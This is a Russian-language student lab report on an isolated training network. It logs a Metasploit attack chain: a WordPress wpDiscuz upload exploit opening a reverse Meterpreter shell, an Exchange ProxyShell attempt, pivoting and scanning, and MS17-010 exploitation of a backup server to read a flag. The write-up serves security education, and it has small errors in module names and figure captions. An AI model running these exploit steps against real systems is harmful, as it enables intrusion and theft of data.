

Отчет оп лабораторной работе 4

Кибербезопасность предприятия

Апареев Д.А., Игнатенкова В.Н., Демидович Н.М., Ендонова А.В., Машковцева К.С., Шубнякова Д.И.

Содержание

1	Задача	4
2	Теоретическое введение	5
3	Выполнение лабораторной работы	6
3.1	Описание сценария	6
3.2	Поиск backup-сервера	7
3.3	Эксплуатация уязвимости ms17	9
4	Выводы	11

Список иллюстраций

3.1	Получение meterpreter-сессии	6
3.2	Запуск	7
3.3	Отображение сетевых интерфейсов	7
3.4	Проброс портов во внутреннюю сеть	8
3.5	Запуск прокси-сервера	8
3.6	arp_scanner	8
3.7	Сканирование открытых портов на хосте	9
3.8	Сканирование portscan	9
3.9	Сканирование порта на наличие уязвимости	10
3.10	Сканирование порта на наличие уязвимости	10
3.11	Сканирование порта на наличие уязвимости	10

1 Задача

Научиться обнаруживать и эксплуатировать уязвимости в изолированной сетевой среде для получения несанкционированного доступа к резервным копиям данных, хранящимся на backup-сервере.

Способы получения флага: 1. Поиск backup-сервера 2. Эксплуатация уязвимости ms17

2 Теоретическое введение

1. Meterpreter — полезная нагрузка в Metasploit Framework, предоставляющая интерактивную оболочку для управления скомпрометированной системой.
2. MS17-010 (EternalBlue) — уязвимость в протоколе SMBv1, позволяющая выполнить удалённый код на уязвимых системах Windows.
3. ARP-сканирование — метод обнаружения активных хостов в локальной сети по MAC-адресам.
4. Проброс портов (port forwarding) — техника, позволяющая перенаправлять сетевой трафик через скомпрометированный узел для доступа к внутренним ресурсам.
5. SMB (Server Message Block) — сетевой протокол для совместного доступа к файлам, принтерам и другим ресурсам.

3 Выполнение лабораторной работы

3.1 Описание сценария

Для получения доступа во внутреннюю сеть была использована уязвимость в WordPress-плагине `wp_wpdiscuz_unauthenticated_file_upload`, позволяющая загрузить вредоносный файл и получить meterpreter-сессию на корпоративном сайте. Альтернативно можно было использовать уязвимость `exchange_proxysql_rce` на почтовом сервере (рис. 3.1).

```
View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set rhost
s 195.239.174.25
rhosts => 195.239.174.25
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogp
ath /index.php/2021/07/26/hello-world/
blogpath => /index.php/2021/07/26/hello-world/
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set lhost
lhost => 195.239.174.11
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > run
[*] Started reverse TCP handler on 195.239.174.11:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Payload uploaded as PvuENEB.php
[*] Calling payload...
[*] Sending stage (40004 bytes) to 195.239.174.25
[*] Meterpreter session 1 opened (195.239.174.11:4444 -> 195.239.174.25:42548)
at 2025-11-20 18:34:58 +0300
```

Рис. 3.1: Получение meterpreter-сессии

После успешной эксплуатации была получена активная meterpreter-сессия с узлом в DMZ (рис. 3.2).

```

msf6 exploit(windows/http/exchange_proxyshell_rcx) > set rhosts 195.239.174.25
rhosts => 195.239.174.25
msf6 exploit(windows/http/exchange_proxyshell_rcx) > set blogpath /index.php/2021/07/26/hello-world/
[!] Unknown datastore option: blogpath.
blogpath => /index.php/2021/07/26/hello-world/
msf6 exploit(windows/http/exchange_proxyshell_rcx) > set lhost 195.239.174.11
lhost => 195.239.174.11
msf6 exploit(windows/http/exchange_proxyshell_rcx) > set rhosts 195.239.174.1
rhosts => 195.239.174.1
msf6 exploit(windows/http/exchange_proxyshell_rcx) > run
[*] Started reverse TCP handler on 195.239.174.11:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is vulnerable.
[*] Attempt to exploit for CVE-2021-34473
[*] Retrieving backend FQDN over RPC request
[*] Internal server name: mail.ampire.corp
[*] Enumerating valid email addresses and searching for one that either has the 'Mailbox Import Export' role or can self-assign it
[*] Enumerated 7 email addresses
[*] Saved mailbox and email address data to: /home/reduser4/.msf4/loot/20251120184356_default_195.239.174.1_ad.exchange.mail_402475.txt
[-] Exploit aborted due to failure: timeout-expired: Server did not respond in an expected way.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/exchange_proxyshell_rcx) >

```

Рис. 3.2: Запуск

3.2 Поиск бэкап-сервера

Отображаем конфигурацию сети (рис. 3.3).

```

Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 6
-----
Name       : Red Hat VirtIO Ethernet Adapter
Hardware MAC : 02:00:00:b8:32:08
MTU        : 1500
IPv4 Address : 10.10.10.10
IPv4 Netmask : 255.255.255.0

Interface 8
-----
Name       : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU        : 1280
IPv6 Address : fe80::5efe:a0a:a0a
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

meterpreter >

```

Рис. 3.3: Отображение сетевых интерфейсов

Прописываем в активной meterpreter-сессии маршрут до данной подсети

(рис. 3.4).

```
meterpreter > run autoroute -s 10.10.10.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ... ]
[*] Adding a route to 10.10.10.0/255.255.255.0 ...
[*] Added route to 10.10.10.0/255.255.255.0 via 195.239.174.1
[*] Use the -p option to list all active routes
meterpreter > █
```

Рис. 3.4: Проброс портов во внутреннюю сеть

Далее сворачиваем активную сессию и запускаем прокси-сервер с помощью socks (рис. 3.5).

```
msf6 exploit(windows/http/exchange_proxyshell_rcx) > use socks_proxy

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Descripti
on  ---                                     -
--
0  auxiliary/server/socks_proxy             normal         No     SOCKS Pro
xy Server

Interact with a module by name or index. For example info 0, use 0 or use aux
iliary/server/socks_proxy

[*] Using auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > █
```

Рис. 3.5: Запуск прокси-сервера

Продолжаем сбор информации о найденной подсети с помощью arp_scanner (рис. 3.6).

```
meterpreter > run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
[*] Running module against MAIL (195.239.174.1)
[*] ARP Scanning 10.10.10.0/24
[*] IP: 10.10.10.5 MAC 02:00:00:b8:32:07 (UNKNOWN)
[*] IP: 10.10.10.10 MAC 02:00:00:b8:32:08 (UNKNOWN)
[*] IP: 10.10.10.15 MAC 02:00:00:b8:32:04 (UNKNOWN)
[*] IP: 10.10.10.20 MAC 02:00:00:b8:32:03 (UNKNOWN)
[*] IP: 10.10.10.21 MAC 02:00:00:b8:32:0b (UNKNOWN)
[*] IP: 10.10.10.25 MAC 02:00:00:b8:32:05 (UNKNOWN)
[*] IP: 10.10.10.30 MAC 02:00:00:b8:32:09 (UNKNOWN)
[*] IP: 10.10.10.35 MAC 02:00:00:b8:32:0a (UNKNOWN)
[*] IP: 10.10.10.40 MAC 02:00:00:b8:32:01 (UNKNOWN)
[*] IP: 10.10.10.45 MAC 02:00:00:b8:32:0d (UNKNOWN)
[*] IP: 10.10.10.55 MAC 02:00:00:b8:32:06 (UNKNOWN)
[*] IP: 10.10.10.255 MAC 02:00:00:b8:32:08 (UNKNOWN)
[*] IP: 10.10.10.254 MAC 02:00:00:b8:32:02 (UNKNOWN)
meterpreter > █
```

Рис. 3.6: arp_scanner

Далее проводим сканирование открытых портов на найденных хостах, используя модуль portscan/tcp (рис. 3.7, 3.8).

```
msf6 post(windows/gather/arp_scanner) > use portscan/tcp

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Descrip
-  -                                     -              -      -      -
0  auxiliary/scanner/portscan/tcp          .              normal No      TCP Por
t Scanner

Interact with a module by name or index. For example info 0, use 0 or use aux
iliary/scanner/portscan/tcp

[*] Using auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) >
```

Рис. 3.7: Сканирование открытых портов на хосте

```
[*] Using auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 10.10.10.5
rhosts => 10.10.10.5
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 10.10.10.5 - 10.10.10.5:21 - TCP OPEN
[+] 10.10.10.5 - 10.10.10.5:80 - TCP OPEN
[+] 10.10.10.5 - 10.10.10.5:135 - TCP OPEN
[+] 10.10.10.5 - 10.10.10.5:139 - TCP OPEN
[+] 10.10.10.5 - 10.10.10.5:445 - TCP OPEN
^C[*] 10.10.10.5 - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/tcp) > use scanner/smb/smb_ms17
```

Рис. 3.8: Сканирование portscan

3.3 Эксплуатация уязвимости ms17

С помощью модуля scanner/smb проводим сканирование порта smb на наличие уязвимости ms17 (рис. 3.9).

```
msf6 auxiliary(scanner/portscan/tcp) > use scanner/smb/smb_ms17

Matching Modules
=====
#  Name
-  -
0  auxiliary/scanner/smb/smb_ms17_010
7-010 SMB RCE Detection
1  \_ AKA: DOUBLEPULSAR
2  \_ AKA: ETERNALBLUE

Disclosure Date  Rank  Check  Des
-----
.              .      .      .

Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/smb/smb_ms17_010

[*] Using auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) >
```

Рис. 3.9: Сканирование порта на наличие уязвимости

Хост уязвим для ms17. Для эксплуатации уязвимости нужно воспользоваться модулем (рис. 3.10).

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > use ms17_010_psexec

Matching Modules
=====
#  Name
-  -
0  exploit/windows/smb/ms17_010_psexec
17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
1  \_ target: Automatic
2  \_ target: PowerShell
3  \_ target: Native upload
4  \_ target: MOF upload
5  \_ AKA: ETERNALSYNERGY
6  \_ AKA: ETERNALROMANCE
7  \_ AKA: ETERNALCHAMPION
8  \_ AKA: ETERNALBLUE

Disclosure Date  Rank  Check  De
-----
2017-03-14      normal  Yes    MS

Interact with a module by name or index. For example info 8, use 8 or use exploit/windows/smb/ms17_010_psexec

[*] Using exploit/windows/smb/ms17_010_psexec
```

Рис. 3.10: Сканирование порта на наличие уязвимости

Необходимый код для решения задания (рис. 3.11).

```
meterpreter > cat C:/Windows/Temp/flag.txt
87039
```

Рис. 3.11: Сканирование порта на наличие уязвимости

4 Выводы

В ходе лабораторной работы были успешно выполнены следующие этапы: 1. Получен начальный доступ к узлу в DMZ через уязвимость WordPress/Exchange. 2. Обнаружен backup-сервер во внутренней сети с помощью ARP- и портового сканирования. 3. Эксплуатирована уязвимость MS17-010 для получения полного контроля над backup-сервером. 4. Найден и извлечён файл с флагом.